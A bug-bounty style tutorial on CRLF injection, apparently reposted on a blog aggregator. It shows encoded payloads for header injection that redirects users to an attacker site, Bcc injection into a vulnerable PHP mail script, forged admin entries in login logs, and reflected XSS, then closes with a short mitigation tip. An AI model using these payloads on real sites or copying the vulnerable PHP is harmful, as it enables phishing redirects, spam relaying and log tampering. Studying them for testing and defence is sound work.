CRLF injection

9 months ago 56
BOOK THIS SPACE FOR AD
ARTICLE AD

R00tendo

In all the operating systems that I know, CR (carriage return) and LF (line feed) characters are used to separate lines in text. For example, if you were to inspect this HTTP request at the byte level:

GET / HTTP/1.1
Host: site.com
Accept: application/json

You would see that all the lines end with these two hex characters: 0D 0A . Programmers may also know them as \r (CR) and \n (LF).

CRLF injection includes many subcategories that describe CRLF injection in a specific place, but they’re still all different types of CRLF injections. These include:

header-splitting attackHTTP header injectionemail injectionlog injection

there are probably many more of these subcategories.

In the following sections, I’m going to explain how you can exploit these two cute characters to get bounties and secure your own servers against them.

Normally CRLF characters are benign, like in a feedback text box where multiple lines are needed, but a problem arises when user input containing CRLF is blindly trusted and used in a server-side function where CRLF characters were not expected. If this happens, it might be possible for an attacker to do a number of attacks, including:

reflected XSSHTTP request smugglingemail injectionlog injection

Basically, all functions that use newlines as a delimiter are vulnerable if input is not sanitized.

To find a CRLF vulnerability, you want to logically think about where in the web application user input would be:

reflected as a header (cookies, redirects)included in a file (logs)included in a server-side request (email, server side HTTP request)

To include a CRLF in a URL parameter, use these URL encoded values:

Carriage return: %0dLine feed: %0a

Exploiting automatic directory completion

The most common place I’ve found CRLF injection is when you request a website directory without a leading “/” and the website redirects you to a URL with a leading “/” like this:

GET /helloworld <-- no slash HTTP/1.1
Host: site.com
Accept: application/json

HTTP/1.1 301 Moved Permanently
Location: /hello-world/ <-- slash

We can use CRLF to inject a custom header like so:

GET /helloworld%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1
Host: site.com
Accept: application/json

HTTP/1.1 302 Found
Location: /hello-world
Location: https://hacker-site.com/

Payload: /helloworld<CRLF>Location: https://hacker-site.com

Now any user that clicks that URL will be redirected to an attacker server instead of /hello-world.

Exploiting redirections

Another common place where I’ve found these are redirects. It is a great day when you find an open redirect vulnerability and CRLF injection from the same endpoint.

Here we have an API that redirects you to another website using the Location: header:

GET /api/redirect?url=https%3A%2F%2Fsite.com%2Fhello-word HTTP/1.1
Host: site.com
Accept: application/json

HTTP/1.1 302 Found
Location: https://site.com/hello-world

Then we can inject a custom location header into the URL parameter:

GET /api/redirect?url=%2Fhello-world%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1
Host: site.com ↑ CRLF
Accept: application/json

HTTP/1.1 302 Found
Location: /hello-world
Location: https://hacker-site.com/

Payload: /hello-world<CRLF>Location: https://hacker-site.com

Once again, the user has been redirected to the hacker’s website!

Email injection

If user input that is passed into an email or its headers isn’t validated and sanitized properly, it’s possible to use CRLF to inject custom headers into the email headers.

Here’s a PHP script that is vulnerable to email injection:

<?php

$name = $_POST['name'];
$replyto = $_POST['replyTo'];
$message = $_POST['message'];
$to = 'root@localhost';
$subject = 'Random subject';

$headers = "From: $name \n" .
"Reply-To: $replyto";
mail($to, $subject, $message, $headers);
?>

How the feedback was meant to be used:

POST /feedback.php HTTP/1.1
Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

name=peter&replyTo=peter%40serious.bznes&message=Serious%20message.

To begin exploiting this, let’s take a look at what headers we could inject: https://www.rfc-editor.org/rfc/rfc4021.html . A very juicy one that I found is “Bcc”, it’s a header used to specify multiple email recipients. A perfect candidate for this exploit!

Here are the current email headers:

From: peter
Reply-To: peter@serious.bznes

Let’s inject a Bcc header into the “name” parameter:

POST /feedback.php HTTP/1.1
Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

name=peter%0d%0aBcc%3A%20notaniceguy%40company.com&replyTo=peter%40serious.bznes&message=You're%20not%20a%20nice%20guy%20%3A(

Payload: peter<CRLF>Bcc:notaniceguy@company.com

Now the email headers look like this:

From: peter
Bcc:notaniceguy@company.com
Reply-To: peter@serious.bznes

By all logic, the feedback message should’ve gone to both the admin of the site and notaniceguy@company.com.

Log injection

In log injection, an attacker can inject custom messages into logs by using the CRLF characters. This could be done to raise false alarms and make the server administrators waste their time on bogus alerts.

Let’s say someone at the company has created his very own logging framework that puts all login attempts into logins.log in this format:

<time>:<user>:<correct credentials?>

1708853728374:peter:False
1708853743574:peter:True

We could enter this as a username to trick the admin into believing his account was logged into at a specific time:

peter:False%0d%0a1708853860227:admin:True

This is what the logs would look like after the injection (without the dashes ofc):

1708853728374:peter:False
1708853743574:peter:True
_________________________
1708853860027:peter:False|---> OUR PAYLOAD
1708853860227:admin:True |
-------------------------

Reflected XSS

Some sites may add a cookie to the browser based on user input. An example of this would be taking in the parameter “?language=en-US” and then storing it as a cookie (in a HTTP response, not in JS). If no sanitization is done, this could leave the user open to XSS.

GET /language?lang=en-US HTTP/1.1
Host: site.com
Accept: text/html

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;

Here’s a payload we can use to exploit this:

en-US;<CRLF>Content-Type: text/html<CRLF>Content-Length:25<CRLF><CRLF><script>alert(1)</script>

This is what it would look like in action:

GET /language?lang=en-US%3B%3C%0d%0a%3EContent-Type%3A%20text%2Fhtml%3C%0d%0a%3EContent-Length%3A25%3C%0d%0a%0d%0a%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1
Host: site.com
Accept: text/html

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
Content-Type: text/html
Content-Length:25

<script>alert(1)</script>;

The only tool I found for automating CRLF injection discovery: https://github.com/Raghavd3v/CRLFsuite

To mitigate CRLF injection, strip all CRLF characters from user input and take user input as little as possible in general.

Read Entire Article